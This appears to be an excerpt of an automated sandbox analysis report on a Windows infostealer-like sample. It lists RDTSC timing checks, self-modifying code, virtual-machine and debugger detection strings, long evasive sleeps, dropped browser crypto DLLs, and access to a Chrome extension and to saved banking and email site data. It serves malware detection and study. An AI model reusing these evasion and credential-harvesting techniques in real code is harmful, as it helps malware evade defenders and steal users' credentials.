Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4AE1B0 second address: 4AE1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007FDE885210ACh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4BFA3F second address: 4BFA45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4BFA45 second address: 4BFA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4BFA49 second address: 4BFA4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4A0F32 second address: 4A0F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CE78A second address: 4CE78E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CE78E second address: 4CE798 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE885210A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CE798 second address: 4CE7A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CE7A6 second address: 4CE7BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FDE885210A6h 0x00000009 jc 00007FDE885210A6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CE7BE second address: 4CE7C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CE7C4 second address: 4CE7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CEA54 second address: 4CEA5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CEA5A second address: 4CEA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CEBA6 second address: 4CEBAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CEBAC second address: 4CEBB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CEEB0 second address: 4CEEBF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jg 00007FDE88D87896h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CEEBF second address: 4CEEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CEEC5 second address: 4CEEE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 jmp 00007FDE88D878A2h 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CF03F second address: 4CF044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CF044 second address: 4CF049 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CF1B2 second address: 4CF1B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CF1B8 second address: 4CF1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CF35C second address: 4CF361 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CF46B second address: 4CF472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CF472 second address: 4CF490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE885210B1h 0x00000009 popad 0x0000000a jbe 00007FDE885210ACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CF5DC second address: 4CF5E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CF5E0 second address: 4CF5EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4C2259 second address: 4C226E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDE88D87896h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jnp 00007FDE88D87896h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CFCE6 second address: 4CFCEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CFCEA second address: 4CFCEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4CFCEE second address: 4CFD1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE885210B9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jo 00007FDE885210B2h 0x00000012 ja 00007FDE885210A6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4D0436 second address: 4D0440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FDE88D87896h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4D0440 second address: 4D0474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDE885210B2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007FDE885210BDh 0x00000015 push esi 0x00000016 jmp 00007FDE885210AFh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4D593C second address: 4D5942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4D5A6D second address: 4D5AA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDE885210B6h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4D5AA2 second address: 4D5AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4D5AA7 second address: 4D5AC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b je 00007FDE885210B0h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4D48FC second address: 4D4900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4D4900 second address: 4D4904 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4D5B67 second address: 4D5B6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4D5CBA second address: 4D5CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4D5CC0 second address: 4D5CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DB07F second address: 4DB083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DB083 second address: 4DB08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DB1E6 second address: 4DB1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FDE885210ACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DB7F0 second address: 4DB7F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DE428 second address: 4DE42E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DE42E second address: 4DE441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007FDE88D878A0h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DE441 second address: 4DE45F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FDE885210ADh 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DE45F second address: 4DE463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DE463 second address: 4DE4F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jnl 00007FDE885210A6h 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 jno 00007FDE885210B4h 0x0000001e pop eax 0x0000001f push 00000000h 0x00000021 push ebx 0x00000022 call 00007FDE885210A8h 0x00000027 pop ebx 0x00000028 mov dword ptr [esp+04h], ebx 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc ebx 0x00000035 push ebx 0x00000036 ret 0x00000037 pop ebx 0x00000038 ret 0x00000039 call 00007FDE885210A9h 0x0000003e push eax 0x0000003f pushad 0x00000040 push ebx 0x00000041 pop ebx 0x00000042 jmp 00007FDE885210B2h 0x00000047 popad 0x00000048 pop eax 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007FDE885210B5h 0x00000051 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DE4F9 second address: 4DE51F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DEAB5 second address: 4DEAC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FDE885210ACh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DEAC6 second address: 4DEACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DEACA second address: 4DEAD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DEB8B second address: 4DEB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DEB90 second address: 4DEB9F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DFB0C second address: 4DFB16 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDE88D87896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4DFB16 second address: 4DFB1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	RDTSC instruction interceptor: First address: 4E160D second address: 4E1619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63FD31 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63FC89 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7E47DD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7EB4CF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 86B795 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Special instruction interceptor: First address: 4D59F6 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Special instruction interceptor: First address: 4DCDDC instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Special instruction interceptor: First address: 563719 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4359F6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 43CDDC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4C3719 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Special instruction interceptor: First address: 116EAD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Special instruction interceptor: First address: 1338C99 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Special instruction interceptor: First address: 131D9D1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Special instruction interceptor: First address: 13A6FDE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsDHJECFCGHI.exe

Code function: 26_2_05360039 rdtsc

26_2_05360039

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 1312	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3912	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5912	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6536	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6536	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 564	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 320	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3724	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8980	Thread sleep count: 86 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8980	Thread sleep time: -2580000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8980	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsDHJECFCGHI.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE7EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CE7EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000020.00000002.2514022148.0000000000412000.00000040.00000001.01000000.0000000E.sdmp, 222aa393f7.exe, 222aa393f7.exe, 00000023.00000002.2520760556.00000000012F6000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Web Data.15.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Web Data.15.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Web Data.15.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1808225152.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2520712129.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2520712129.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Web Data.15.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Web Data.15.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: skotes.exe, 00000020.00000002.2520712129.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWk
Source: Web Data.15.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Web Data.15.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Web Data.15.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
